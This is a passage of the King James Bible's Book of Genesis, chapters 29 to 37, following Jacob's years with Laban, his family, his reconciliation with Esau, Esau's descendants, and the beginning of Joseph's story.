younger daughter. + +29:19 And Laban said, It is better that I give her to thee, than that +I should give her to another man: abide with me. + +29:20 And Jacob served seven years for Rachel; and they seemed unto +him but a few days, for the love he had to her. + +29:21 And Jacob said unto Laban, Give me my wife, for my days are +fulfilled, that I may go in unto her. + +29:22 And Laban gathered together all the men of the place, and made a +feast. + +29:23 And it came to pass in the evening, that he took Leah his +daughter, and brought her to him; and he went in unto her. + +29:24 And Laban gave unto his daughter Leah Zilpah his maid for an +handmaid. + +29:25 And it came to pass, that in the morning, behold, it was Leah: +and he said to Laban, What is this thou hast done unto me? did not I +serve with thee for Rachel? wherefore then hast thou beguiled me? +29:26 And Laban said, It must not be so done in our country, to give +the younger before the firstborn. + +29:27 Fulfil her week, and we will give thee this also for the service +which thou shalt serve with me yet seven other years. + +29:28 And Jacob did so, and fulfilled her week: and he gave him Rachel +his daughter to wife also. + +29:29 And Laban gave to Rachel his daughter Bilhah his handmaid to be +her maid. + +29:30 And he went in also unto Rachel, and he loved also Rachel more +than Leah, and served with him yet seven other years. + +29:31 And when the LORD saw that Leah was hated, he opened her womb: +but Rachel was barren. + +29:32 And Leah conceived, and bare a son, and she called his name +Reuben: for she said, Surely the LORD hath looked upon my affliction; +now therefore my husband will love me. + +29:33 And she conceived again, and bare a son; and said, Because the +LORD hath heard I was hated, he hath therefore given me this son also: +and she called his name Simeon. + +29:34 And she conceived again, and bare a son; and said, Now this time +will my husband be joined unto me, because I have born him three sons: +therefore was his name called Levi. + +29:35 And she conceived again, and bare a son: and she said, Now will +I praise the LORD: therefore she called his name Judah; and left +bearing. + +30:1 And when Rachel saw that she bare Jacob no children, Rachel +envied her sister; and said unto Jacob, Give me children, or else I +die. + +30:2 And Jacob's anger was kindled against Rachel: and he said, Am I +in God's stead, who hath withheld from thee the fruit of the womb? +30:3 And she said, Behold my maid Bilhah, go in unto her; and she +shall bear upon my knees, that I may also have children by her. + +30:4 And she gave him Bilhah her handmaid to wife: and Jacob went in +unto her. + +30:5 And Bilhah conceived, and bare Jacob a son. + +30:6 And Rachel said, God hath judged me, and hath also heard my +voice, and hath given me a son: therefore called she his name Dan. + +30:7 And Bilhah Rachel's maid conceived again, and bare Jacob a second +son. + +30:8 And Rachel said, With great wrestlings have I wrestled with my +sister, and I have prevailed: and she called his name Naphtali. + +30:9 When Leah saw that she had left bearing, she took Zilpah her +maid, and gave her Jacob to wife. + +30:10 And Zilpah Leah's maid bare Jacob a son. + +30:11 And Leah said, A troop cometh: and she called his name Gad. + +30:12 And Zilpah Leah's maid bare Jacob a second son. + +30:13 And Leah said, Happy am I, for the daughters will call me +blessed: and she called his name Asher. + +30:14 And Reuben went in the days of wheat harvest, and found +mandrakes in the field, and brought them unto his mother Leah. Then +Rachel said to Leah, Give me, I pray thee, of thy son's mandrakes. + +30:15 And she said unto her, Is it a small matter that thou hast taken +my husband? and wouldest thou take away my son's mandrakes also? And +Rachel said, Therefore he shall lie with thee to night for thy son's +mandrakes. + +30:16 And Jacob came out of the field in the evening, and Leah went +out to meet him, and said, Thou must come in unto me; for surely I +have hired thee with my son's mandrakes. And he lay with her that +night. + +30:17 And God hearkened unto Leah, and she conceived, and bare Jacob +the fifth son. + +30:18 And Leah said, God hath given me my hire, because I have given +my maiden to my husband: and she called his name Issachar. + +30:19 And Leah conceived again, and bare Jacob the sixth son. + +30:20 And Leah said, God hath endued me with a good dowry; now will my +husband dwell with me, because I have born him six sons: and she +called his name Zebulun. + +30:21 And afterwards she bare a daughter, and called her name Dinah. + +30:22 And God remembered Rachel, and God hearkened to her, and opened +her womb. + +30:23 And she conceived, and bare a son; and said, God hath taken away +my reproach: 30:24 And she called his name Joseph; and said, The LORD +shall add to me another son. + +30:25 And it came to pass, when Rachel had born Joseph, that Jacob +said unto Laban, Send me away, that I may go unto mine own place, and +to my country. + +30:26 Give me my wives and my children, for whom I have served thee, +and let me go: for thou knowest my service which I have done thee. + +30:27 And Laban said unto him, I pray thee, if I have found favour in +thine eyes, tarry: for I have learned by experience that the LORD hath +blessed me for thy sake. + +30:28 And he said, Appoint me thy wages, and I will give it. + +30:29 And he said unto him, Thou knowest how I have served thee, and +how thy cattle was with me. + +30:30 For it was little which thou hadst before I came, and it is now +increased unto a multitude; and the LORD hath blessed thee since my +coming: and now when shall I provide for mine own house also? 30:31 +And he said, What shall I give thee? And Jacob said, Thou shalt not +give me any thing: if thou wilt do this thing for me, I will again +feed and keep thy flock. + +30:32 I will pass through all thy flock to day, removing from thence +all the speckled and spotted cattle, and all the brown cattle among +the sheep, and the spotted and speckled among the goats: and of such +shall be my hire. + +30:33 So shall my righteousness answer for me in time to come, when it +shall come for my hire before thy face: every one that is not speckled +and spotted among the goats, and brown among the sheep, that shall be +counted stolen with me. + +30:34 And Laban said, Behold, I would it might be according to thy +word. + +30:35 And he removed that day the he goats that were ringstraked and +spotted, and all the she goats that were speckled and spotted, and +every one that had some white in it, and all the brown among the +sheep, and gave them into the hand of his sons. + +30:36 And he set three days' journey betwixt himself and Jacob: and +Jacob fed the rest of Laban's flocks. + +30:37 And Jacob took him rods of green poplar, and of the hazel and +chesnut tree; and pilled white strakes in them, and made the white +appear which was in the rods. + +30:38 And he set the rods which he had pilled before the flocks in the +gutters in the watering troughs when the flocks came to drink, that +they should conceive when they came to drink. + +30:39 And the flocks conceived before the rods, and brought forth +cattle ringstraked, speckled, and spotted. + +30:40 And Jacob did separate the lambs, and set the faces of the +flocks toward the ringstraked, and all the brown in the flock of +Laban; and he put his own flocks by themselves, and put them not unto +Laban's cattle. + +30:41 And it came to pass, whensoever the stronger cattle did +conceive, that Jacob laid the rods before the eyes of the cattle in +the gutters, that they might conceive among the rods. + +30:42 But when the cattle were feeble, he put them not in: so the +feebler were Laban's, and the stronger Jacob's. + +30:43 And the man increased exceedingly, and had much cattle, and +maidservants, and menservants, and camels, and asses. + +31:1 And he heard the words of Laban's sons, saying, Jacob hath taken +away all that was our father's; and of that which was our father's +hath he gotten all this glory. + +31:2 And Jacob beheld the countenance of Laban, and, behold, it was +not toward him as before. + +31:3 And the LORD said unto Jacob, Return unto the land of thy +fathers, and to thy kindred; and I will be with thee. + +31:4 And Jacob sent and called Rachel and Leah to the field unto his +flock, 31:5 And said unto them, I see your father's countenance, that +it is not toward me as before; but the God of my father hath been with +me. + +31:6 And ye know that with all my power I have served your father. + +31:7 And your father hath deceived me, and changed my wages ten times; +but God suffered him not to hurt me. + +31:8 If he said thus, The speckled shall be thy wages; then all the +cattle bare speckled: and if he said thus, The ringstraked shall be +thy hire; then bare all the cattle ringstraked. + +31:9 Thus God hath taken away the cattle of your father, and given +them to me. + +31:10 And it came to pass at the time that the cattle conceived, that +I lifted up mine eyes, and saw in a dream, and, behold, the rams which +leaped upon the cattle were ringstraked, speckled, and grisled. + +31:11 And the angel of God spake unto me in a dream, saying, Jacob: +And I said, Here am I. + +31:12 And he said, Lift up now thine eyes, and see, all the rams which +leap upon the cattle are ringstraked, speckled, and grisled: for I +have seen all that Laban doeth unto thee. + +31:13 I am the God of Bethel, where thou anointedst the pillar, and +where thou vowedst a vow unto me: now arise, get thee out from this +land, and return unto the land of thy kindred. + +31:14 And Rachel and Leah answered and said unto him, Is there yet any +portion or inheritance for us in our father's house? 31:15 Are we not +counted of him strangers? for he hath sold us, and hath quite devoured +also our money. + +31:16 For all the riches which God hath taken from our father, that is +ours, and our children's: now then, whatsoever God hath said unto +thee, do. + +31:17 Then Jacob rose up, and set his sons and his wives upon camels; +31:18 And he carried away all his cattle, and all his goods which he +had gotten, the cattle of his getting, which he had gotten in +Padanaram, for to go to Isaac his father in the land of Canaan. + +31:19 And Laban went to shear his sheep: and Rachel had stolen the +images that were her father's. + +31:20 And Jacob stole away unawares to Laban the Syrian, in that he +told him not that he fled. + +31:21 So he fled with all that he had; and he rose up, and passed over +the river, and set his face toward the mount Gilead. + +31:22 And it was told Laban on the third day that Jacob was fled. + +31:23 And he took his brethren with him, and pursued after him seven +days' journey; and they overtook him in the mount Gilead. + +31:24 And God came to Laban the Syrian in a dream by night, and said +unto him, Take heed that thou speak not to Jacob either good or bad. + +31:25 Then Laban overtook Jacob. Now Jacob had pitched his tent in the +mount: and Laban with his brethren pitched in the mount of Gilead. + +31:26 And Laban said to Jacob, What hast thou done, that thou hast +stolen away unawares to me, and carried away my daughters, as captives +taken with the sword? 31:27 Wherefore didst thou flee away secretly, +and steal away from me; and didst not tell me, that I might have sent +thee away with mirth, and with songs, with tabret, and with harp? +31:28 And hast not suffered me to kiss my sons and my daughters? thou +hast now done foolishly in so doing. + +31:29 It is in the power of my hand to do you hurt: but the God of +your father spake unto me yesternight, saying, Take thou heed that +thou speak not to Jacob either good or bad. + +31:30 And now, though thou wouldest needs be gone, because thou sore +longedst after thy father's house, yet wherefore hast thou stolen my +gods? 31:31 And Jacob answered and said to Laban, Because I was +afraid: for I said, Peradventure thou wouldest take by force thy +daughters from me. + +31:32 With whomsoever thou findest thy gods, let him not live: before +our brethren discern thou what is thine with me, and take it to thee. +For Jacob knew not that Rachel had stolen them. + +31:33 And Laban went into Jacob's tent, and into Leah's tent, and into +the two maidservants' tents; but he found them not. Then went he out +of Leah's tent, and entered into Rachel's tent. + +31:34 Now Rachel had taken the images, and put them in the camel's +furniture, and sat upon them. And Laban searched all the tent, but +found them not. + +31:35 And she said to her father, Let it not displease my lord that I +cannot rise up before thee; for the custom of women is upon me. And he +searched but found not the images. + +31:36 And Jacob was wroth, and chode with Laban: and Jacob answered +and said to Laban, What is my trespass? what is my sin, that thou hast +so hotly pursued after me? 31:37 Whereas thou hast searched all my +stuff, what hast thou found of all thy household stuff? set it here +before my brethren and thy brethren, that they may judge betwixt us +both. + +31:38 This twenty years have I been with thee; thy ewes and thy she +goats have not cast their young, and the rams of thy flock have I not +eaten. + +31:39 That which was torn of beasts I brought not unto thee; I bare +the loss of it; of my hand didst thou require it, whether stolen by +day, or stolen by night. + +31:40 Thus I was; in the day the drought consumed me, and the frost by +night; and my sleep departed from mine eyes. + +31:41 Thus have I been twenty years in thy house; I served thee +fourteen years for thy two daughters, and six years for thy cattle: +and thou hast changed my wages ten times. + +31:42 Except the God of my father, the God of Abraham, and the fear of +Isaac, had been with me, surely thou hadst sent me away now empty. God +hath seen mine affliction and the labour of my hands, and rebuked thee +yesternight. + +31:43 And Laban answered and said unto Jacob, These daughters are my +daughters, and these children are my children, and these cattle are my +cattle, and all that thou seest is mine: and what can I do this day +unto these my daughters, or unto their children which they have born? +31:44 Now therefore come thou, let us make a covenant, I and thou; and +let it be for a witness between me and thee. + +31:45 And Jacob took a stone, and set it up for a pillar. + +31:46 And Jacob said unto his brethren, Gather stones; and they took +stones, and made an heap: and they did eat there upon the heap. + +31:47 And Laban called it Jegarsahadutha: but Jacob called it Galeed. + +31:48 And Laban said, This heap is a witness between me and thee this +day. + +Therefore was the name of it called Galeed; 31:49 And Mizpah; for he +said, The LORD watch between me and thee, when we are absent one from +another. + +31:50 If thou shalt afflict my daughters, or if thou shalt take other +wives beside my daughters, no man is with us; see, God is witness +betwixt me and thee. + +31:51 And Laban said to Jacob, Behold this heap, and behold this +pillar, which I have cast betwixt me and thee: 31:52 This heap be +witness, and this pillar be witness, that I will not pass over this +heap to thee, and that thou shalt not pass over this heap and this +pillar unto me, for harm. + +31:53 The God of Abraham, and the God of Nahor, the God of their +father, judge betwixt us. And Jacob sware by the fear of his father +Isaac. + +31:54 Then Jacob offered sacrifice upon the mount, and called his +brethren to eat bread: and they did eat bread, and tarried all night +in the mount. + +31:55 And early in the morning Laban rose up, and kissed his sons and +his daughters, and blessed them: and Laban departed, and returned unto +his place. + +32:1 And Jacob went on his way, and the angels of God met him. + +32:2 And when Jacob saw them, he said, This is God's host: and he +called the name of that place Mahanaim. + +32:3 And Jacob sent messengers before him to Esau his brother unto the +land of Seir, the country of Edom. + +32:4 And he commanded them, saying, Thus shall ye speak unto my lord +Esau; Thy servant Jacob saith thus, I have sojourned with Laban, and +stayed there until now: 32:5 And I have oxen, and asses, flocks, and +menservants, and womenservants: and I have sent to tell my lord, that +I may find grace in thy sight. + +32:6 And the messengers returned to Jacob, saying, We came to thy +brother Esau, and also he cometh to meet thee, and four hundred men +with him. + +32:7 Then Jacob was greatly afraid and distressed: and he divided the +people that was with him, and the flocks, and herds, and the camels, +into two bands; 32:8 And said, If Esau come to the one company, and +smite it, then the other company which is left shall escape. + +32:9 And Jacob said, O God of my father Abraham, and God of my father +Isaac, the LORD which saidst unto me, Return unto thy country, and to +thy kindred, and I will deal well with thee: 32:10 I am not worthy of +the least of all the mercies, and of all the truth, which thou hast +shewed unto thy servant; for with my staff I passed over this Jordan; +and now I am become two bands. + +32:11 Deliver me, I pray thee, from the hand of my brother, from the +hand of Esau: for I fear him, lest he will come and smite me, and the +mother with the children. + +32:12 And thou saidst, I will surely do thee good, and make thy seed +as the sand of the sea, which cannot be numbered for multitude. + +32:13 And he lodged there that same night; and took of that which came +to his hand a present for Esau his brother; 32:14 Two hundred she +goats, and twenty he goats, two hundred ewes, and twenty rams, 32:15 +Thirty milch camels with their colts, forty kine, and ten bulls, +twenty she asses, and ten foals. + +32:16 And he delivered them into the hand of his servants, every drove +by themselves; and said unto his servants, Pass over before me, and +put a space betwixt drove and drove. + +32:17 And he commanded the foremost, saying, When Esau my brother +meeteth thee, and asketh thee, saying, Whose art thou? and whither +goest thou? and whose are these before thee? 32:18 Then thou shalt +say, They be thy servant Jacob's; it is a present sent unto my lord +Esau: and, behold, also he is behind us. + +32:19 And so commanded he the second, and the third, and all that +followed the droves, saying, On this manner shall ye speak unto Esau, +when ye find him. + +32:20 And say ye moreover, Behold, thy servant Jacob is behind us. For +he said, I will appease him with the present that goeth before me, and +afterward I will see his face; peradventure he will accept of me. + +32:21 So went the present over before him: and himself lodged that +night in the company. + +32:22 And he rose up that night, and took his two wives, and his two +womenservants, and his eleven sons, and passed over the ford Jabbok. + +32:23 And he took them, and sent them over the brook, and sent over +that he had. + +32:24 And Jacob was left alone; and there wrestled a man with him +until the breaking of the day. + +32:25 And when he saw that he prevailed not against him, he touched +the hollow of his thigh; and the hollow of Jacob's thigh was out of +joint, as he wrestled with him. + +32:26 And he said, Let me go, for the day breaketh. And he said, I +will not let thee go, except thou bless me. + +32:27 And he said unto him, What is thy name? And he said, Jacob. + +32:28 And he said, Thy name shall be called no more Jacob, but Israel: +for as a prince hast thou power with God and with men, and hast +prevailed. + +32:29 And Jacob asked him, and said, Tell me, I pray thee, thy name. +And he said, Wherefore is it that thou dost ask after my name? And he +blessed him there. + +32:30 And Jacob called the name of the place Peniel: for I have seen +God face to face, and my life is preserved. + +32:31 And as he passed over Penuel the sun rose upon him, and he +halted upon his thigh. + +32:32 Therefore the children of Israel eat not of the sinew which +shrank, which is upon the hollow of the thigh, unto this day: because +he touched the hollow of Jacob's thigh in the sinew that shrank. + +33:1 And Jacob lifted up his eyes, and looked, and, behold, Esau came, +and with him four hundred men. And he divided the children unto Leah, +and unto Rachel, and unto the two handmaids. + +33:2 And he put the handmaids and their children foremost, and Leah +and her children after, and Rachel and Joseph hindermost. + +33:3 And he passed over before them, and bowed himself to the ground +seven times, until he came near to his brother. + +33:4 And Esau ran to meet him, and embraced him, and fell on his neck, +and kissed him: and they wept. + +33:5 And he lifted up his eyes, and saw the women and the children; +and said, Who are those with thee? And he said, The children which God +hath graciously given thy servant. + +33:6 Then the handmaidens came near, they and their children, and they +bowed themselves. + +33:7 And Leah also with her children came near, and bowed themselves: +and after came Joseph near and Rachel, and they bowed themselves. + +33:8 And he said, What meanest thou by all this drove which I met? And +he said, These are to find grace in the sight of my lord. + +33:9 And Esau said, I have enough, my brother; keep that thou hast +unto thyself. + +33:10 And Jacob said, Nay, I pray thee, if now I have found grace in +thy sight, then receive my present at my hand: for therefore I have +seen thy face, as though I had seen the face of God, and thou wast +pleased with me. + +33:11 Take, I pray thee, my blessing that is brought to thee; because +God hath dealt graciously with me, and because I have enough. And he +urged him, and he took it. + +33:12 And he said, Let us take our journey, and let us go, and I will +go before thee. + +33:13 And he said unto him, My lord knoweth that the children are +tender, and the flocks and herds with young are with me: and if men +should overdrive them one day, all the flock will die. + +33:14 Let my lord, I pray thee, pass over before his servant: and I +will lead on softly, according as the cattle that goeth before me and +the children be able to endure, until I come unto my lord unto Seir. + +33:15 And Esau said, Let me now leave with thee some of the folk that +are with me. And he said, What needeth it? let me find grace in the +sight of my lord. + +33:16 So Esau returned that day on his way unto Seir. + +33:17 And Jacob journeyed to Succoth, and built him an house, and made +booths for his cattle: therefore the name of the place is called +Succoth. + +33:18 And Jacob came to Shalem, a city of Shechem, which is in the +land of Canaan, when he came from Padanaram; and pitched his tent +before the city. + +33:19 And he bought a parcel of a field, where he had spread his tent, +at the hand of the children of Hamor, Shechem's father, for an hundred +pieces of money. + +33:20 And he erected there an altar, and called it EleloheIsrael. + +34:1 And Dinah the daughter of Leah, which she bare unto Jacob, went +out to see the daughters of the land. + +34:2 And when Shechem the son of Hamor the Hivite, prince of the +country, saw her, he took her, and lay with her, and defiled her. + +34:3 And his soul clave unto Dinah the daughter of Jacob, and he loved +the damsel, and spake kindly unto the damsel. + +34:4 And Shechem spake unto his father Hamor, saying, Get me this +damsel to wife. + +34:5 And Jacob heard that he had defiled Dinah his daughter: now his +sons were with his cattle in the field: and Jacob held his peace until +they were come. + +34:6 And Hamor the father of Shechem went out unto Jacob to commune +with him. + +34:7 And the sons of Jacob came out of the field when they heard it: +and the men were grieved, and they were very wroth, because he had +wrought folly in Israel in lying with Jacob's daughter: which thing +ought not to be done. + +34:8 And Hamor communed with them, saying, The soul of my son Shechem +longeth for your daughter: I pray you give her him to wife. + +34:9 And make ye marriages with us, and give your daughters unto us, +and take our daughters unto you. + +34:10 And ye shall dwell with us: and the land shall be before you; +dwell and trade ye therein, and get you possessions therein. + +34:11 And Shechem said unto her father and unto her brethren, Let me +find grace in your eyes, and what ye shall say unto me I will give. + +34:12 Ask me never so much dowry and gift, and I will give according +as ye shall say unto me: but give me the damsel to wife. + +34:13 And the sons of Jacob answered Shechem and Hamor his father +deceitfully, and said, because he had defiled Dinah their sister: +34:14 And they said unto them, We cannot do this thing, to give our +sister to one that is uncircumcised; for that were a reproach unto us: +34:15 But in this will we consent unto you: If ye will be as we be, +that every male of you be circumcised; 34:16 Then will we give our +daughters unto you, and we will take your daughters to us, and we will +dwell with you, and we will become one people. + +34:17 But if ye will not hearken unto us, to be circumcised; then will +we take our daughter, and we will be gone. + +34:18 And their words pleased Hamor, and Shechem Hamor's son. + +34:19 And the young man deferred not to do the thing, because he had +delight in Jacob's daughter: and he was more honourable than all the +house of his father. + +34:20 And Hamor and Shechem his son came unto the gate of their city, +and communed with the men of their city, saying, 34:21 These men are +peaceable with us; therefore let them dwell in the land, and trade +therein; for the land, behold, it is large enough for them; let us +take their daughters to us for wives, and let us give them our +daughters. + +34:22 Only herein will the men consent unto us for to dwell with us, +to be one people, if every male among us be circumcised, as they are +circumcised. + +34:23 Shall not their cattle and their substance and every beast of +their's be our's? only let us consent unto them, and they will dwell +with us. + +34:24 And unto Hamor and unto Shechem his son hearkened all that went +out of the gate of his city; and every male was circumcised, all that +went out of the gate of his city. + +34:25 And it came to pass on the third day, when they were sore, that +two of the sons of Jacob, Simeon and Levi, Dinah's brethren, took each +man his sword, and came upon the city boldly, and slew all the males. + +34:26 And they slew Hamor and Shechem his son with the edge of the +sword, and took Dinah out of Shechem's house, and went out. + +34:27 The sons of Jacob came upon the slain, and spoiled the city, +because they had defiled their sister. + +34:28 They took their sheep, and their oxen, and their asses, and that +which was in the city, and that which was in the field, 34:29 And all +their wealth, and all their little ones, and their wives took they +captive, and spoiled even all that was in the house. + +34:30 And Jacob said to Simeon and Levi, Ye have troubled me to make +me to stink among the inhabitants of the land, among the Canaanites +and the Perizzites: and I being few in number, they shall gather +themselves together against me, and slay me; and I shall be destroyed, +I and my house. + +34:31 And they said, Should he deal with our sister as with an harlot? +35:1 And God said unto Jacob, Arise, go up to Bethel, and dwell there: +and make there an altar unto God, that appeared unto thee when thou +fleddest from the face of Esau thy brother. + +35:2 Then Jacob said unto his household, and to all that were with +him, Put away the strange gods that are among you, and be clean, and +change your garments: 35:3 And let us arise, and go up to Bethel; and +I will make there an altar unto God, who answered me in the day of my +distress, and was with me in the way which I went. + +35:4 And they gave unto Jacob all the strange gods which were in their +hand, and all their earrings which were in their ears; and Jacob hid +them under the oak which was by Shechem. + +35:5 And they journeyed: and the terror of God was upon the cities +that were round about them, and they did not pursue after the sons of +Jacob. + +35:6 So Jacob came to Luz, which is in the land of Canaan, that is, +Bethel, he and all the people that were with him. + +35:7 And he built there an altar, and called the place Elbethel: +because there God appeared unto him, when he fled from the face of his +brother. + +35:8 But Deborah Rebekah's nurse died, and she was buried beneath +Bethel under an oak: and the name of it was called Allonbachuth. + +35:9 And God appeared unto Jacob again, when he came out of Padanaram, +and blessed him. + +35:10 And God said unto him, Thy name is Jacob: thy name shall not be +called any more Jacob, but Israel shall be thy name: and he called his +name Israel. + +35:11 And God said unto him, I am God Almighty: be fruitful and +multiply; a nation and a company of nations shall be of thee, and +kings shall come out of thy loins; 35:12 And the land which I gave +Abraham and Isaac, to thee I will give it, and to thy seed after thee +will I give the land. + +35:13 And God went up from him in the place where he talked with him. + +35:14 And Jacob set up a pillar in the place where he talked with him, +even a pillar of stone: and he poured a drink offering thereon, and he +poured oil thereon. + +35:15 And Jacob called the name of the place where God spake with him, +Bethel. + +35:16 And they journeyed from Bethel; and there was but a little way +to come to Ephrath: and Rachel travailed, and she had hard labour. + +35:17 And it came to pass, when she was in hard labour, that the +midwife said unto her, Fear not; thou shalt have this son also. + +35:18 And it came to pass, as her soul was in departing, (for she +died) that she called his name Benoni: but his father called him +Benjamin. + +35:19 And Rachel died, and was buried in the way to Ephrath, which is +Bethlehem. + +35:20 And Jacob set a pillar upon her grave: that is the pillar of +Rachel's grave unto this day. + +35:21 And Israel journeyed, and spread his tent beyond the tower of +Edar. + +35:22 And it came to pass, when Israel dwelt in that land, that Reuben +went and lay with Bilhah his father's concubine: and Israel heard it. +Now the sons of Jacob were twelve: 35:23 The sons of Leah; Reuben, +Jacob's firstborn, and Simeon, and Levi, and Judah, and Issachar, and +Zebulun: 35:24 The sons of Rachel; Joseph, and Benjamin: 35:25 And the +sons of Bilhah, Rachel's handmaid; Dan, and Naphtali: 35:26 And the +sons of Zilpah, Leah's handmaid: Gad, and Asher: these are the sons of +Jacob, which were born to him in Padanaram. + +35:27 And Jacob came unto Isaac his father unto Mamre, unto the city +of Arbah, which is Hebron, where Abraham and Isaac sojourned. + +35:28 And the days of Isaac were an hundred and fourscore years. + +35:29 And Isaac gave up the ghost, and died, and was gathered unto his +people, being old and full of days: and his sons Esau and Jacob buried +him. + +36:1 Now these are the generations of Esau, who is Edom. + +36:2 Esau took his wives of the daughters of Canaan; Adah the daughter +of Elon the Hittite, and Aholibamah the daughter of Anah the daughter +of Zibeon the Hivite; 36:3 And Bashemath Ishmael's daughter, sister of +Nebajoth. + +36:4 And Adah bare to Esau Eliphaz; and Bashemath bare Reuel; 36:5 And +Aholibamah bare Jeush, and Jaalam, and Korah: these are the sons of +Esau, which were born unto him in the land of Canaan. + +36:6 And Esau took his wives, and his sons, and his daughters, and all +the persons of his house, and his cattle, and all his beasts, and all +his substance, which he had got in the land of Canaan; and went into +the country from the face of his brother Jacob. + +36:7 For their riches were more than that they might dwell together; +and the land wherein they were strangers could not bear them because +of their cattle. + +36:8 Thus dwelt Esau in mount Seir: Esau is Edom. + +36:9 And these are the generations of Esau the father of the Edomites +in mount Seir: 36:10 These are the names of Esau's sons; Eliphaz the +son of Adah the wife of Esau, Reuel the son of Bashemath the wife of +Esau. + +36:11 And the sons of Eliphaz were Teman, Omar, Zepho, and Gatam, and +Kenaz. + +36:12 And Timna was concubine to Eliphaz Esau's son; and she bare to +Eliphaz Amalek: these were the sons of Adah Esau's wife. + +36:13 And these are the sons of Reuel; Nahath, and Zerah, Shammah, and +Mizzah: these were the sons of Bashemath Esau's wife. + +36:14 And these were the sons of Aholibamah, the daughter of Anah the +daughter of Zibeon, Esau's wife: and she bare to Esau Jeush, and +Jaalam, and Korah. + +36:15 These were dukes of the sons of Esau: the sons of Eliphaz the +firstborn son of Esau; duke Teman, duke Omar, duke Zepho, duke Kenaz, +36:16 Duke Korah, duke Gatam, and duke Amalek: these are the dukes +that came of Eliphaz in the land of Edom; these were the sons of Adah. + +36:17 And these are the sons of Reuel Esau's son; duke Nahath, duke +Zerah, duke Shammah, duke Mizzah: these are the dukes that came of +Reuel in the land of Edom; these are the sons of Bashemath Esau's +wife. + +36:18 And these are the sons of Aholibamah Esau's wife; duke Jeush, +duke Jaalam, duke Korah: these were the dukes that came of Aholibamah +the daughter of Anah, Esau's wife. + +36:19 These are the sons of Esau, who is Edom, and these are their +dukes. + +36:20 These are the sons of Seir the Horite, who inhabited the land; +Lotan, and Shobal, and Zibeon, and Anah, 36:21 And Dishon, and Ezer, +and Dishan: these are the dukes of the Horites, the children of Seir +in the land of Edom. + +36:22 And the children of Lotan were Hori and Hemam; and Lotan's +sister was Timna. + +36:23 And the children of Shobal were these; Alvan, and Manahath, and +Ebal, Shepho, and Onam. + +36:24 And these are the children of Zibeon; both Ajah, and Anah: this +was that Anah that found the mules in the wilderness, as he fed the +asses of Zibeon his father. + +36:25 And the children of Anah were these; Dishon, and Aholibamah the +daughter of Anah. + +36:26 And these are the children of Dishon; Hemdan, and Eshban, and +Ithran, and Cheran. + +36:27 The children of Ezer are these; Bilhan, and Zaavan, and Akan. + +36:28 The children of Dishan are these; Uz, and Aran. + +36:29 These are the dukes that came of the Horites; duke Lotan, duke +Shobal, duke Zibeon, duke Anah, 36:30 Duke Dishon, duke Ezer, duke +Dishan: these are the dukes that came of Hori, among their dukes in +the land of Seir. + +36:31 And these are the kings that reigned in the land of Edom, before +there reigned any king over the children of Israel. + +36:32 And Bela the son of Beor reigned in Edom: and the name of his +city was Dinhabah. + +36:33 And Bela died, and Jobab the son of Zerah of Bozrah reigned in +his stead. + +36:34 And Jobab died, and Husham of the land of Temani reigned in his +stead. + +36:35 And Husham died, and Hadad the son of Bedad, who smote Midian in +the field of Moab, reigned in his stead: and the name of his city was +Avith. + +36:36 And Hadad died, and Samlah of Masrekah reigned in his stead. + +36:37 And Samlah died, and Saul of Rehoboth by the river reigned in +his stead. + +36:38 And Saul died, and Baalhanan the son of Achbor reigned in his +stead. + +36:39 And Baalhanan the son of Achbor died, and Hadar reigned in his +stead: and the name of his city was Pau; and his wife's name was +Mehetabel, the daughter of Matred, the daughter of Mezahab. + +36:40 And these are the names of the dukes that came of Esau, +according to their families, after their places, by their names; duke +Timnah, duke Alvah, duke Jetheth, 36:41 Duke Aholibamah, duke Elah, +duke Pinon, 36:42 Duke Kenaz, duke Teman, duke Mibzar, 36:43 Duke +Magdiel, duke Iram: these be the dukes of Edom, according to their +habitations in the land of their possession: he is Esau the father of +the Edomites. + +37:1 And Jacob dwelt in the land wherein his father was a stranger, in +the land of Canaan. + +37:2 These are the generations of Jacob. Joseph, being seventeen years +old, was feeding the flock with his brethren; and the lad was with the +sons of Bilhah, and with the sons of Zilpah, his father's wives: and +Joseph brought unto his father their evil report. + +37:3 Now Israel loved Joseph more than all his children, because he +was the son of his old age: and he made him a coat of many colours. + +37:4 And when his brethren saw that their father loved him more than +all his brethren, they hated him, and could not speak peaceably unto +him. + +37:5 And Joseph dreamed a dream, and he told it his brethren: and they +hated him yet the more. + +37:6 And he said unto them, Hear, I pray you, this dream which I have +dreamed: 37:7 For, behold, we were binding sheaves in the field, and, +lo, my sheaf arose, and also stood upright; and, behold, your sheaves +stood round about, and made obeisance to my sheaf. + +37:8 And his brethren said to him, Shalt thou indeed reign over us? or +shalt thou indeed have dominion over us? And they hated him yet the +more for his dreams, and for his words. + +37:9 And he dreamed yet another dream, and told it his brethren, and +said, Behold, I have dreamed a dream more; and, behold, the sun and +the moon and the eleven stars made obeisance to me. + +37:10 And he told it to his father, and to his brethren: and his +father rebuked him, and said unto him, What is this dream that thou +hast dreamed? Shall I and thy mother and thy brethren indeed come to +bow down ourselves to thee to the earth? 37:11 And his brethren +envied him; but his father observed the saying. + +37:12 And his brethren went to feed their father's flock in Shechem. + +37:13 And Israel said unto Joseph, Do not thy brethren feed the flock +in Shechem? come, and I will send thee unto them. And he said to him, +Here am I. + +37:14 And he said to him, Go, I pray thee, see whether it be well with +thy brethren, and well with the flocks; and bring me word again. So he +sent him out of the vale of Hebron, and he came to Shechem. + +37:15 And a certain man found him, and, behold, he was wandering in +the field: and the man asked him, saying, What seekest thou? 37:16 +And he said, I seek my brethren: tell me, I pray thee, where they feed +their flocks. + +37:17 And the man said, They are departed hence; for I heard them say, +Let us go to Dothan. And Joseph went after his brethren, and found +them in Dothan. + +37:18 And when they saw him afar off, even before he came near unto +them, they conspired against him to slay him. + +37:19 And they said one to another, Behold, this dreamer cometh. + +37:20 Come now therefore, and let us slay him, and cast him into some +pit, and we will say, Some evil beast hath devoured him: and we shall +see what will become of his dreams. + +37:21 And Reuben heard it, and he delivered him out of their hands; +and said, Let us not kill him. + +37:22 And Reuben said unto them, Shed no blood, but cast him into this +pit that is in the wilderness, and lay no hand upon him; that he might +rid him out of their hands, to deliver him to his father again. + +37:23 And it came to pass, when Joseph was come unto his brethren, +that they stript Joseph out of his coat, his coat of many colours that +was on him; 37:24 And they took him, and cast him into a pit: and the +pit was empty, there was no water in it. + +37:25 And they sat down to eat bread: and they lifted up their eyes +and looked, and, behold, a company of Ishmeelites came from Gilead +with their camels bearing spicery and balm and myrrh, going to carry +it down to Egypt. + +37:26 And Judah said unto his brethren, What profit is it if we slay +our brother, and conceal his blood? 37:27 Come, and let us sell him +to the 